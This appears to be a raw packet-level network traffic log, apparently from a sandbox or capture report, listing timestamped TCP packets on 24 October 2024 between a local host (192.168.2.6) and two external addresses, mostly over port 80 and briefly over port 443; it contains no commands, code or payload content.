Oct 24, 2024 09:08:22.289443016 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.289550066 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.289603949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.289644003 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.289706945 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324157000 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324182034 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324204922 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324223995 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324233055 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324239016 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324245930 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324253082 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324290991 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324351072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324395895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324440002 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324455976 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324495077 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324523926 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324537039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324717999 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324949026 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324961901 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.324996948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.324999094 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.325017929 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.325032949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.325052023 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.325076103 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364495039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364547014 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364573956 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364582062 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364589930 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364614964 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364622116 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364655018 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364670038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364701986 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364733934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.364736080 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364757061 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364806890 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.364989042 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.365176916 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.365207911 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.365236998 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.365256071 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.365269899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.365277052 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.365302086 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.365309000 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.365341902 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.390589952 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:22.390670061 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:22.391776085 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:22.391786098 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:22.392543077 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:22.393687010 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:22.393865108 CEST	50003	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:22.394072056 CEST	443	50003	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:22.404630899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.404669046 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.404696941 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.404701948 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.404733896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.404752016 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439438105 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439559937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439563990 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439595938 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439611912 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439630032 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439646959 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439663887 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439682961 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439701080 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439717054 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439738989 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439753056 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439785004 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439800024 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439821005 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.439827919 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439872980 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.439964056 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.440015078 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.440016031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.440051079 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.440063000 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.440094948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.440104961 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.440139055 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.440160990 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.440182924 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.479938030 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.479984999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480004072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480073929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480083942 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480108023 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480113983 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480142117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480150938 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480176926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480185032 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480226040 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480317116 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480350018 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480380058 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480382919 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480397940 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480437994 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480449915 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480500937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480515003 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480532885 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480542898 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480567932 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480577946 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480601072 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.480633974 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.480643034 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.520405054 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.520474911 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.520514011 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.520561934 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.520561934 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555032969 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555077076 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555111885 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555115938 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555141926 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555145025 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555161953 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555181026 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555183887 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555217028 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555242062 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555252075 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555285931 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555289030 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555305004 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555346966 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555351019 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555396080 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555510044 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555563927 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555567980 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555600882 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555624008 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555634975 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.555641890 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.555680990 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595280886 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595371962 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595382929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595419884 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595452070 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595474958 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595484972 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595503092 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595518112 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595535994 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595551014 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595565081 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595603943 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595637083 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595693111 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595837116 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595887899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595889091 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595938921 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595943928 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.595971107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.595999956 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596019983 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596137047 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.596190929 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596209049 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.596241951 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.596260071 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596276999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.596285105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596308947 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.596326113 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.596350908 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.635515928 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.635548115 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.635581970 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.635597944 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.635613918 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.635631084 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.635632038 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.635673046 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670502901 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670562983 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670605898 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670615911 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670633078 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670648098 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670660019 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670681953 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670698881 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670711040 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670728922 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670742989 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670762062 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670777082 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670783997 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670810938 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.670830011 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.670850992 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.671158075 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.671186924 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.671206951 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.671226978 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.671236992 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.671266079 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.671292067 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.671303988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.710845947 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.710916042 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.710952044 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.710985899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711019039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711050987 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711085081 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711118937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711131096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711177111 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711177111 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711333036 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711369038 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711402893 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711427927 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711437941 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711446047 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711484909 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711826086 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711858034 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711879015 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711899042 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711909056 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711941957 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711960077 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.711983919 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.711988926 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.712018013 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.712029934 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.712069988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.750741005 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.750777960 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.750808954 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.750811100 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.750852108 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.750852108 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.785872936 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.785909891 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.785943031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.785974979 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.785989046 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786004066 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786009073 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786025047 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786046028 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786181927 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786215067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786226988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786247969 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786257029 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786283016 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786312103 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786355019 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786362886 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786393881 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.786405087 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.786432028 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826093912 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826144934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826179981 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826211929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826246023 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826251030 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826280117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826289892 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826289892 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826318979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826387882 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826423883 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826442957 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826457977 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826467037 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826497078 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826625109 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826713085 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826745033 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826766968 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826780081 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.826786041 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.826828003 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827073097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827127934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827130079 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827167034 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827183008 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827205896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827217102 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827250004 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827265024 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827282906 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.827295065 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827342033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.827964067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.828016043 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.828020096 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.828051090 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.828066111 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.828094959 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.866194010 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.866286039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.866322041 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.866360903 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.866410971 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.901235104 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.901271105 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.901351929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.901462078 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.901495934 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:22.901499033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.901499033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:22.901530981 CEST	80	50001	185.215.113.16	192.168.2.6
